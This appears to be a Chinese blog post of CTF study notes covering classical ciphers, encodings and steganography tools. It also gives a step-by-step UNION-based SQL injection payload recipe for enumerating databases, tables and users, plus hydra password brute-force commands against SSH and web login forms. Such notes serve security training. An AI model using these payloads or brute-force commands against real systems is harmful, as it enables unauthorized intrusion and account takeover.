密码学

JSfuck
  • 标志:以[]开头,以()结尾
  • 解密:JSfuck or 浏览器F12打开Console控制台,粘贴密文按回车即可解密
AAencode

AAencode加解密

PPencode
length q closedir vec and print chr ord q open no and print chr ord q or no and print chr ord q sin s and print chr ord qw q ne q and print chr ord q lt eval and print chr ord q q eq and print chr length q q ge getc getpriority printf split q and print chr ord qw q fcntl q and print chr ord qw q lc q and print chr ord q each le and print chr ord qw q ge q and print chr length q q readdir ge chop link syscall chroot binmode for length setservent dbmopen uc getnetbyname getpwnam rename stat study pack q and print chr ord q open no and print chr ord q split s and print chr oct hex ord uc q my m and print chr ord q ge log and print chr ord qw q ne q and print chr ord q oct no and print chr ord q pop and print chr ord qw q die q and print chr ord q ge log and print chr oct oct hex ord q ref or and print chr length q q ge getc getpriority printf split q 

菜鸟教程在线编译工具

Brainfuck
  • Brainfuck是一种极小化的计算机语言,只有八种符号,所有的操作都由这八种符号(> < + - . , [ ])的组合来完成。
  • 解密:Brainfuck
ASCII

ASCII

ADFGX
  • ADFGX密码(ADFGX Cipher)结合了改良过的Polybius方格替代密码与单行换位密码的矩阵加密密码,使用了5个合理的密文字母:A,D,F,G,X,这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX密码是德国军队在一战发明使用的密码)不易混淆;

    (明文FOX --加密-> FA DX FF )

ADFGX

Unicode/URL
Base32/64编码
  • 原理:base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应4个base64单元,即3个字节可表示4个可打印字符。在base64中的可打印字符包括A-Z、a-z、0-9,+、/,共64个可打印字符;如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行base64的编码。在编码后的base64文本后加上一个或两个“=”号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个byte)时,最后6位的base64字节块有四位是0值,最后附加上两个等号;如果最后剩余两个八位字节(2byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号
  • 标志:等号作后缀,数目可能为0/1/2个
  • 加密:文本 ->ASCII编码 ->转换二进制 ->计算索引 ->得到Base64编码

    例:文本M ->ASCII编码为77 ->十进制转化成二进制为01001101 ->即索引值19 ->Base64编码为T

  • 解密:

base64索引表

盲文

盲文

颜文字
  • jjencode/aaencode

    • jjencode -> 将JS代码转换成只有符号的字符串
    • aaencode -> 将JS代码转换成常用的网络表情
  • 解密:浏览器F12打开Console控制台,粘贴密文按回车即可解密
九宫格
  • 2个数字为一组,对应手机九宫格上的字母
敲击码

敲击码

栅栏密码
  • 栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合…每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文
置换密码

置换密码在线字典

凯撒密码
  • 凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。
摩斯密码

摩斯密码在线加解密

摩斯密码

猪圈密码
  • 猪圈密码(Pigpen Cipher或称朱高密码、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码

    猪圈密码1
    猪圈密码2
    猪圈密码3

维吉尼亚密码
  • 维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计
  • 密钥(循环使用,密钥越长相对破解难度越大)
  • 加密:第一行为明文字母,第一列为密钥字母 -> 明文字母列和密钥字母行的交点就是密文字母

    (如明文字母T列 和 密钥字母C行 -> 交点为 密文V)

维吉尼亚

传送门

SQL注入

1. 判断注入点
- and 1=1 -> 正常
- and 1=2 -> 报错

--> 发现页面显示不一样,是注入点
2. 爆库
(mysql>5.0的版本才有information_schema,存储着mysql 所有库和表结构信息)
1. 查看当前使用数据库
   - and 1=2 union select 1,database()
2. 爆表
   - union select 1,table_name from information_schema.tables where table_schema='当前库名'
3. 查看当前表中字段
   - union select 1,column_name from information_schema.columns where table_schema='当前库名'
4. 爆字段内容
   - and 1=1 union select 1,2
5. 查看列
   - union select 1,列名 from 表名
6. 爆出所有库
- union select 1,schema_name from information_schema.schemata
- and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.schemata
3.工具
  • SQLmap -> sql自动注入(需要Python2.7环境)
4. 其他
(1) 猜解字段
- order by a
- order by b

--> 若发现a正常b不正常,则字段数是a
(2)爆字段位置
and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5
(3)查看mysql基本信息
- and 1=2 union select 1,version() ----- 查看数据库版本
- and 1=2 union select 1,database() ---- 查看当前使用的数据库
- and 1=2 union select 1,user() ------查看当前数据库用户
- and ord(mid(user(),1,1))=114 ------ 判断用户是否为root
(4)单独爆库
第一个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 

第二个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 

第三个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 

第四个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3

第五个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,

隐写术

1.工具
  • Stegosolve:图片分析

    • File Format 分析图片
    • Frame Browser 逐帧查看
  • Winhex:二进制分析
  • Cool Edit Pro:音频分析
  • MP3stego:音频分析
  • binwalk:文件隐写分析
  • F5-steganography:F5隐写
  • ZipCenOp:伪加密
  • Crunch:字典生成器
  • hydra:爆破
2.部分工具用法
binwalk

默认分离
binwalk -e xxx.xxx
dd命令分离
# dd if=xxx.xx of=a.xxx skip=12345 bs=1
​ [ if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过12345个块后再开始复制,bs设置每次读写块的大小为1字节 ]

MP3stego

Decode -X -P password xxx.mp3

加密:encode -E (里面放要加密的txt信息)  -P (密码) (需要将密码放入的wav文件) (生产的mp3文件)
解密:decode -X -P (密码)(要解密的文件)
F5-steganography

java Extract xxx.jpg -p password

ZipCenOp

伪加密解压命令 java -jar ZipCenOp.jar r xxxx.zip

Crunch

Crunch字典生成器路径:/usr/share/crunch
crunsh MinSize MaxSize 字典元素(如123456) -o 存放文本名(a.txt)

hydra
#命令
先nmap扫一波端口
hydra -l root(用户名,或-L+字典) -P unix_passwords.txt(字典) IP -v ssh(服务) 
例:hydra -l admin -P unix_passwords.txt 172.26.16.128 */wp-login.php:log=^USER^&pwd=^PASS^ :"login_error"

字典路径:/usr/share/wordlists/
/usr/share/wordlists/metasploit
unix_passwords.txt //小字典
password.lst       //大字典
unix_users.txt     //用户名

windows常用用户名 administrator/admin

-R    修复之前使用的aborted/crashed session
-S 执行SSL(Secure Socket Layer)连接
-s  Port 使用非默认服务器端口而是其他端口时,指定其端口
-l Login 已经获取登录ID的情况下输入登录ID
-L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
-p  Pass 已经获取登录密码的情况下输入登录密码
-P  FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
-x  MIN:MAX:CHARSET 暴力破解时不指定文件,而生成可满足指定字符集和最短、最长长度条件的密码来暴力破解
-C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
-M FILE指定实施并列攻击的文件服务器的目录文件
-o   FILE以STDOUT的形式输出结果值
-f  查找到第一个可以使用的ID和密码的时候停止破解
-t TASKS 指定并列连接数(默认值:16)
-w 指定每个线程的回应时间(Waittime)(默认值:32秒)
-4/6  指定IPv4/IPv6(默认值:IPv4)
-v/-V显示详细信息
-U 查看服务器组件使用明细
  • get方式提交,破解web登录:

    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/

    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP

  • post方式提交,破解web登录:

    hydra -l 用户名 -P 密码字典 -o 保存文本名 -V -f -s 目标端口 ip 协议 "/login.php:<表单用户名属性>=^USER^&<表单密码属性>^PASS^:<返回错误信息>"
    
    hydra -l admin -P unix_passwords.txt -o ok.lst -v -f -s 8253 172.26.16.7 http-post-form "/login.php:username=^USER^&password=^PASS^:password error"
    
    参数说明:
    -l 用户名是admin,-P 字典password.lst,-o 保存为out.txt,
    -f 当破解了一个密码就停止 
    -s 目标端口,默认80
    目标ip 172.26.16.7
    http-post-form 表示破解是采用http的post方式提交的表单密码破解
    
    【 "/login.php:username=^USER^&password=^PASS^:password error" 】
    "<url路径>:<表单用户名属性>=^USER^&<表单密码属性>^PASS^:<返回错误信息>"
    <url路径> /login.php
    <表单参数> F12查看表单属性(如username,password),并用^USER^ ^PASS^代替
    <返回值>  可以定义登录正确的返回值S=,也可以定义登录错误的返回值F=,默认是F=
    <url路径>:<表单参数>:<返回值>
3.常见文件格式
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0
  • JPEG (jpg),文件头:FFD8FFE0 文件尾:FF D9
  • PNG (png),文件头:89504E47
  • GIF (gif),GIF89A 文件头:47494638
  • XML (xml),文件头:3C3F786D6C
  • HTML (html),文件头:68746D6C3E
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0
  • MS Access (mdb),文件头:5374616E64617264204A
  • Adobe Acrobat (pdf),文件头:255044462D312E
  • Windows Password (pwl),文件头:E3828596
  • ZIP Archive (zip),文件头:504B0304
  • RAR Archive (rar),文件头:52617221
  • Wave (wav),文件头:57415645
  • AVI (avi),文件头:41564920
最后修改:2020 年 04 月 02 日 01 : 58 AM
如果觉得我的文章对你有帮助,请我吃颗糖吧~